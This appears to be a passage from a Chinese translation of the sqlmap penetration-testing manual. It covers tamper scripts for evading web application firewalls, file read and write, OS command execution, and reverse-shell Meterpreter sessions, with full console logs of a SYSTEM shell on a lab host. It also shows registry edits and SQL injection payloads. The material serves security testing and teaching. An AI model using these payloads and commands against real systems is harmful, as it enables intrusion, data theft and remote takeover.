作用:like 代替等号
示例:

1
2
SELECT * FROM users WHERE id=1
SELECT * FROM users WHERE id LIKE 1

greatest.py

作用:绕过过滤’>’ ,用GREATEST替换大于号。
示例:

1
2
'1 AND A > B'
'1 AND GREATEST(A,B+1)=A'

在以下版本做过测试:

  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

between.py

作用:用between替换大于号(>)
示例:

1
2
'1 AND A > B--'
'1 AND A NOT BETWEEN 0 AND B--'

在以下版本做过测试:
*Microsoft SQL Server 2005
*MySQL 4, 5.0 and 5.5

  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

其他类型:


versionedmorekeywords.py

作用:注释绕过
示例:

1
2
1 UNION ALL SELECT NULL, NULL, CONCAT(CHAR(58,122,114,115,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,115,114,121,58))# 
1/*!UNION**!ALL**!SELECT**!NULL*/,/*!NULL*/,/*!CONCAT*/(/*!CHAR*/(58,122,114,115,58),/*!IFNULL*/(CAST(/*!CURRENT_USER*/()/*!AS**!CHAR*/),/*!CHAR*/(32)),/*!CHAR*/(58,115,114,121,58))#

版本要求:

  • MySQL >= 5.1.13

securesphere.py

作用:追加特制的字符串
示例:

1
2
'1 AND 1=1'
"1 AND 1=1 and '0having'='0having'"

在以下版本做过测试:
All

charunicodeencode.py

作用:字符串 unicode 编码
示例:

1
2
SELECT FIELD%20FROM TABLE
%u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

版本要求:

  • ASP
  • ASP.NET
    在以下版本做过测试:
  • Microsoft SQL Server 2000
  • Microsoft SQL Server 2005
  • MySQL 5.1.56
  • PostgreSQL 9.0.3

charencode.py

作用:url编码
示例:

1
2
SELECT FIELD FROM%20TABLE
%53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

在以下版本做过测试:

  • Microsoft SQL Server 2005
  • MySQL 4, 5.0 and 5.5
  • Oracle 10g
  • PostgreSQL 8.3, 8.4, 9.0

appendnullbyte.py

作用:在有效负荷结束位置加载零字节字符编码
‘1 AND 1=1’
‘1 AND 1=1%00’
版本要求:

  • Microsoft Access

chardoubleencode.py

作用: 双url编码(不处理以编码的)
示例:

1
2
SELECT FIELD FROM%20TABLE 
%2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

base64encode.py

作用:用base64编码替换
示例:

1
2
"1' AND SLEEP(5)#"
'MScgQU5EIFNMRUVQKDUpIw=='

版本要求:
all

nonrecursivereplacement.py

作用:双重查询语句。取代predefined SQL关键字with表示 suitable for替代(例如 .replace(“SELECT”、””)) filters
示例:

1
2
'1 UNION SELECT 2--'
'1 UNIOUNIONN SELESELECTCT 2--'

在以下版本做过测试:
all

用户手册-其他高级

用户自定义函数注入

参数:–udf-inject,–shared-lib

你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

系统文件操作

从数据库服务器中读取文件

参数:–file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL
Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件。

把文件上传到数据库服务器中

参数:–file-write,–file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL
Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

运行任意操作系统命令

参数:–os-cmd,–os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。

在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。

那么他创建的这两个函数可以执行系统命令。在Microsoft SQL
Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server
2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

用–os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。

当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO
OUTFILE写进可写目录,来创建一个web后门。支持的语言:

1、ASP

2、ASP.NET

3、JSP

4、PHP

Meterpreter配合使用

参数:–os-pwn,–os-smbrelay,–os-bof,–priv-esc,–msf-path,–tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL
Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:

1. 通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。

2. 通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。

3. 通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。

4. 通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

列举一个MySQL例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
$ python sqlmap.py -u
"http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn
--msf-path /software/metasploit

[...]

[hh:mm:31] [INFO] the back-end DBMS is MySQL

web server operating system: Windows 2003

web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0

back-end DBMS: MySQL 5.0

[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system

[hh:mm:31] [INFO] the back-end DBMS operating system is Windows

how do you want to establish the tunnel?

[1] TCP: Metasploit Framework (default)

[2] ICMP: icmpsh - ICMP tunneling

\&gt;

[hh:mm:32] [INFO] testing if current user is DBA

[hh:mm:32] [INFO] fetching current user

what is the back-end database management system architecture?

[1] 32-bit (default)

[2] 64-bit

\&gt;

[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist

[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist

[hh:mm:33] [INFO] detecting back-end DBMS version from its banner

[hh:mm:33] [INFO] retrieving MySQL base directory absolute path

[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file

[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file

how do you want to execute the Metasploit shellcode on the back-end database
underlying

operating system?

[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)

[2] Stand-alone payload stager (file system way)

\&gt;

[hh:mm:35] [INFO] creating Metasploit Framework multi-stage shellcode

which connection type do you want to use?

[1] Reverse TCP: Connect back from the database host to this machine (default)

[2] Reverse TCP: Try to connect back from the database host to this machine, on
all ports

between the specified and 65535

[3] Bind TCP: Listen on the database host for a connection

\&gt;

which is the local address? [192.168.136.1]

which local port number do you want to use? [60641]

which payload do you want to use?

[1] Meterpreter (default)

[2] Shell

[3] VNC

\&gt;

[hh:mm:40] [INFO] creation in progress ... done

[hh:mm:43] [INFO] running Metasploit Framework command line interface locally,
please wait..

\_

\| \| o

\_ \_ \_ \_ \_\|\_ \__, , \_ \| \| \_\_ \_\|\_

/ \|/ \|/ \| \|/ \| / \| / \\_\|/ \\_\|/ / \\_\| \|

\| \| \|_/\|__/\|_/\\_/\|_/ \\/ \|__/ \|__/\\__/ \|_/\|_/

/\|

\\\|

=[ metasploit v3.7.0-dev [core:3.7 api:1.0]

\+ -- --=[ 674 exploits - 351 auxiliary

\+ -- --=[ 217 payloads - 27 encoders - 8 nops

=[ svn r12272 updated 4 days ago (2011.04.07)

PAYLOAD =\&gt; windows/meterpreter/reverse_tcp

EXITFUNC =\&gt; thread

LPORT =\&gt; 60641

LHOST =\&gt; 192.168.136.1

[\*] Started reverse handler on 192.168.136.1:60641

[\*] Starting the payload handler...

[hh:mm:48] [INFO] running Metasploit Framework shellcode remotely via UDF
'sys_bineval',

please wait..

[\*] Sending stage (749056 bytes) to 192.168.136.129

[\*] Meterpreter session 1 opened (192.168.136.1:60641 -\&gt;
192.168.136.129:1689) at Mon Apr 11

hh:mm:52 +0100 2011

meterpreter \&gt; Loading extension espia...success.

meterpreter \&gt; Loading extension incognito...success.

meterpreter \&gt; [-] The 'priv' extension has already been loaded.

meterpreter \&gt; Loading extension sniffer...success.

meterpreter \&gt; System Language : en_US

OS : Windows .NET Server (Build 3790, Service Pack 2).

Computer : W2K3R2

Architecture : x86

Meterpreter : x86/win32

meterpreter \&gt; Server username: NT AUTHORITY\\SYSTEM

meterpreter \&gt; ipconfig

MS TCP Loopback interface

Hardware MAC: 00:00:00:00:00:00

IP Address : 127.0.0.1

Netmask : 255.0.0.0

Intel(R) PRO/1000 MT Network Connection

Hardware MAC: 00:0c:29:fc:79:39

IP Address : 192.168.136.129

Netmask : 255.255.255.0

meterpreter \&gt; exit

[\*] Meterpreter session 1 closed. Reason: User exit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

对Windows注册表操作

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。当然,当前连接数据库的用户也需要有权限操作注册表。

读取注册表值

参数:–reg-read

写入注册表值

参数:–reg-add

删除注册表值

参数:–reg-del

注册表辅助选项

参数:–reg-key,–reg-value,–reg-data,–reg-type

需要配合之前三个参数使用,例子:

1
2
3
\$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1
--reg-add --reg-key="HKEY_LOCAL_MACHINE\\SOFTWARE\\sqlmap" --reg-value=Test
--reg-type=REG_SZ --reg-data=1

常规参数

从sqlite中读取session

参数:-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

保存HTTP(S)日志

参数:-t

这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

非交互模式

参数:–batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

强制使用字符编码

参数:–charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:

–charset=GBK

爬行网站URL

参数:–crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

[...]

[xx:xx:53] [INFO] starting crawler

[xx:xx:53] [INFO] searching for links with depth 1

[xx:xx:53] [WARNING] running in a single-thread mode. This could take a while

[xx:xx:53] [INFO] searching for links with depth 2

[xx:xx:54] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:00] [INFO] 42/56 links visited (75%)

[...]

规定输出到CSV中的分隔符

参数:–csv-del

当dump保存为CSV格式时(–dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的
如:

–csv-del=”;”

DBMS身份验证

参数:–dbms-cred

某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft
SQL Server的OPENROWSET函数

定义dump数据的格式

参数:–dump-format

输出的格式可定义为:CSV,HTML,SQLITE

预估完成时间

参数:–eta

可以计算注入数据的剩余时间。

例如Oracle的布尔型盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ python sqlmap.py -u
"http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

[...]

[hh:mm:01] [INFO] the back-end DBMS is Oracle

[hh:mm:01] [INFO] fetching banner

[hh:mm:01] [INFO] retrieving the length of query output

[hh:mm:01] [INFO] retrieved: 64

17% [========\> ] 11/64 ETA 00:19

然后:

100% [===================================================] 64/64

[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release
10.2.0.1.0 - Prod

web application technology: PHP 5.2.6, Apache 2.2.9

back-end DBMS: Oracle

banner: 'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'

sqlmap先输出长度,预计完成时间,显示百分比,输出字符

刷新session文件

参数:–flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。
会清空之前的session,重新测试该目标。

自动获取form表单测试

参数:–forms

如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过–data参数测试。
但是当使用–forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数:–fresh-queries

忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:–hex

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:

针对PostgreSQL例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1"
--banner --hex -v 3 --parse-errors

[...]

[xx:xx:14] [INFO] fetching banner

[xx:xx:14] [PAYLOAD] 1 AND
5849=CAST((CHR(58)\|\|CHR(118)\|\|CHR(116)\|\|CHR(106)\|\|CHR(58))\|\|(ENCODE(CONVERT_TO((COALESCE(CAST(VERSION()
AS
CHARACTER(10000)),(CHR(32)))),(CHR(85)\|\|CHR(84)\|\|CHR(70)\|\|CHR(56))),(CHR(72)\|\|CHR(69)\|\|CHR(88))))::text\|\|(CHR(58)\|\|CHR(110)\|\|CHR(120)\|\|CHR(98)\|\|CHR(58))
AS NUMERIC)

[xx:xx:15] [INFO] parsed error message: 'pg_query() [\<a
href='function.pg-query'\>function.pg-query\</a\>]: Query failed: ERROR: invalid
input syntax for type numeric:
":vtj:506f737467726553514c20382e332e39206f6e20693438362d70632d6c696e75782d676e752c20636f6d70696c656420627920474343206763632d342e332e7265616c202844656269616e2032e332e322d312e312920342e332e32:nxb:"
in \<b\>/var/www/sqlmap/libs/pgsql.inc.php\</b\> on line \<b\>35\</b\>'

[xx:xx:15] [INFO] retrieved: PostgreSQL 8.3.9 on i486-pc-linux-gnu, compiled by

GCC gcc-4.3.real (Debian 4.3.2-1.1) 4.3.2

[...]

自定义输出的路径

参数:–output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径
例如:–output-dir=/tmp

从响应中获取DBMS的错误信息

参数:–parse-errors

有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1"
--parse-errors

[...]

[11:12:17] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 10
is out of range of the number of items in the select list.

\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 6 is
out of range of the number of items in the select list.

\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'

[11:12:17] [INFO] parsed error message: 'Microsoft OLE DB Provider for ODBC
Drivers (0x80040E14)

[Microsoft][ODBC SQL Server Driver][SQL Server]The ORDER BY position number 4 is
out of range of the number of items in the select list.

\<b\>/sqlmap/mssql/iis/get_int.asp, line 27\</b\>'

[11:12:17] [INFO] target URL appears to have 3 columns in query

[...]

其他的一些参数

使用参数缩写

参数:-z

有使用参数太长太复杂,可以使用缩写模式。 例如:

1
2
python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u
"www.target.com/vuln.php?id=1"

可以写成:

1
python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

还有:

1
2
python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb
-T users -u "www.target.com/vuln.php?id=1"

可以写成:

1
2
python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u
"www.target.com/vuln.php?id=1"

成功SQL注入时警告

参数:–alert

设定会发的答案

参数:–answers

当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ python sqlmap.py -u
"http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E
--answers="extending=N" --batch

[...]

[xx:xx:56] [INFO] testing for SQL injection on GET parameter 'id'

heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y

[xx:xx:56] [INFO] do you want to include all tests for 'MySQL' extending
provided level (1) and risk (1)? [Y/n] N

[...]

发现SQL注入时发出蜂鸣声

参数:–beep

发现sql注入时,发出蜂鸣声。

启发式检测WAF/IPS/IDS保护

参数:–check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。
sqlmap将会使用一个不存在的参数来注入测试

例如:

1
2
&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables
WHERE 2>1

如果有保护的话可能返回结果会不同。

清理sqlmap的UDF(s)和表

参数:–cleanup

清除sqlmap注入时产生的udf与表。

禁用彩色输出

参数:–disable-coloring

sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。

使用指定的Google结果页面

参数:–gpage

默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。

使用HTTP参数污染

参数:-hpp

HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。

测试WAF/IPS/IDS保护

参数:–identify-waf

sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1"
--identify-waf -v 3

[...]

[xx:xx:23] [INFO] testing connection to the target URL

[xx:xx:23] [INFO] heuristics detected web page charset 'ascii'

[xx:xx:23] [INFO] using WAF scripts to detect backend WAF/IPS/IDS protection

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'USP Secure Entry Server
(United Security Providers)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'BinarySEC Web Application
Firewall (BinarySEC)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetContinuum Web
Application Firewall (NetContinuum/Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Hyperguard Web Application
Firewall (art of defence Inc.)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Cisco ACE XML Gateway
(Cisco Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'TrafficShield (F5
Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Teros/Citrix Application
Firewall Enterprise (Teros/Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KONA Security Solutions
(Akamai Technologies)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Incapsula Web Application
Firewall (Incapsula/Imperva)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'CloudFlare Web Application
Firewall (CloudFlare)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Barracuda Web Application
Firewall (Barracuda Networks)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'webApp.secure (webScurity)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Proventia Web Application
Security (IBM)'

[xx:xx:23] [DEBUG] declared web page charset 'iso-8859-1'

[xx:xx:23] [DEBUG] page not found (404)

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'KS-WAF (Knownsec)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'NetScaler (Citrix Systems)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'Jiasule Web Application
Firewall (Jiasule)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'WebKnight Application
Firewall (AQTRONIX)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'AppWall (Radware)'

[xx:xx:23] [DEBUG] checking for WAF/IDS/IPS product 'ModSecurity: Open Source
Web Application Firewall (Trustwave)'

[xx:xx:23] [CRITICAL] WAF/IDS/IPS identified 'ModSecurity: Open Source Web
Application Firewall (Trustwave)'. Please consider usage of tamper scripts
(option '--tamper')

[...]

模仿智能手机

参数:–mobile

有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile

[...]

which smartphone do you want sqlmap to imitate through HTTP User-Agent header?

[1] Apple iPhone 4s (default)

[2] BlackBerry 9900

[3] Google Nexus 7

[4] HP iPAQ 6365

[5] HTC Sensation

[6] Nokia N97

[7] Samsung Galaxy S

\> 1

[...]

安全的删除output目录的文件

参数:–purge-output

有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ python sqlmap.py --purge-output -v 3

[...]

[xx:xx:55] [INFO] purging content of directory '/home/user/sqlmap/output'...

[xx:xx:55] [DEBUG] changing file attributes

[xx:xx:55] [DEBUG] writing random data to files

[xx:xx:55] [DEBUG] truncating files

[xx:xx:55] [DEBUG] renaming filenames to random values

[xx:xx:55] [DEBUG] renaming directory names to random values

[xx:xx:55] [DEBUG] deleting the whole directory tree

[...]

启发式判断注入

参数:–smart

有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
$ python sqlmap.py -u
"http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch
--smart

[...]

[xx:xx:14] [INFO] testing if GET parameter 'ca' is dynamic

[xx:xx:14] [WARNING] GET parameter 'ca' does not appear dynamic

[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'ca' might
not be injectable

[xx:xx:14] [INFO] skipping GET parameter 'ca'

[xx:xx:14] [INFO] testing if GET parameter 'user' is dynamic

[xx:xx:14] [WARNING] GET parameter 'user' does not appear dynamic

[xx:xx:14] [WARNING] heuristic (basic) test shows that GET parameter 'user'
might not be injectable

[xx:xx:14] [INFO] skipping GET parameter 'user'

[xx:xx:14] [INFO] testing if GET parameter 'id' is dynamic

[xx:xx:14] [INFO] confirming that GET parameter 'id' is dynamic

[xx:xx:14] [INFO] GET parameter 'id' is dynamic

[xx:xx:14] [WARNING] reflective value(s) found and filtering out

[xx:xx:14] [INFO] heuristic (basic) test shows that GET parameter 'id' might be
injectable (possible DBMS: 'MySQL')

[xx:xx:14] [INFO] testing for SQL injection on GET parameter 'id'

heuristic (parsing) test showed that the back-end DBMS could be 'MySQL'. Do you
want to skip test payloads specific for other DBMSes? [Y/n] Y

do you want to include all tests for 'MySQL' extending provided level (1) and
risk (1)? [Y/n] Y

[xx:xx:14] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[xx:xx:14] [INFO] GET parameter 'id' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable

[xx:xx:14] [INFO] testing 'MySQL \>= 5.0 AND error-based - WHERE or HAVING
clause'

[xx:xx:14] [INFO] GET parameter 'id' is 'MySQL \>= 5.0 AND error-based - WHERE
or HAVING clause' injectable

[xx:xx:14] [INFO] testing 'MySQL inline queries'

[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 stacked queries'

[xx:xx:14] [INFO] testing 'MySQL \< 5.0.12 stacked queries (heavy query)'

[xx:xx:14] [INFO] testing 'MySQL \> 5.0.11 AND time-based blind'

[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL \> 5.0.11 AND time-based blind'
injectable

[xx:xx:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'

[xx:xx:24] [INFO] automatically extending ranges for UNION query injection
technique tests as there is at least one other potential injection technique
found

[xx:xx:24] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending
the range for current UNION query injection technique test

[xx:xx:24] [INFO] target URL appears to have 3 columns in query

[xx:xx:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 20
columns' injectable

[...]

初级用户向导参数

参数:–wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。

来源

安全牛课堂-kali-linux-web篇
瞌睡龙:http://drops.wooyun.org/author/瞌睡龙
91ri:https://www.91ri.org/7852.html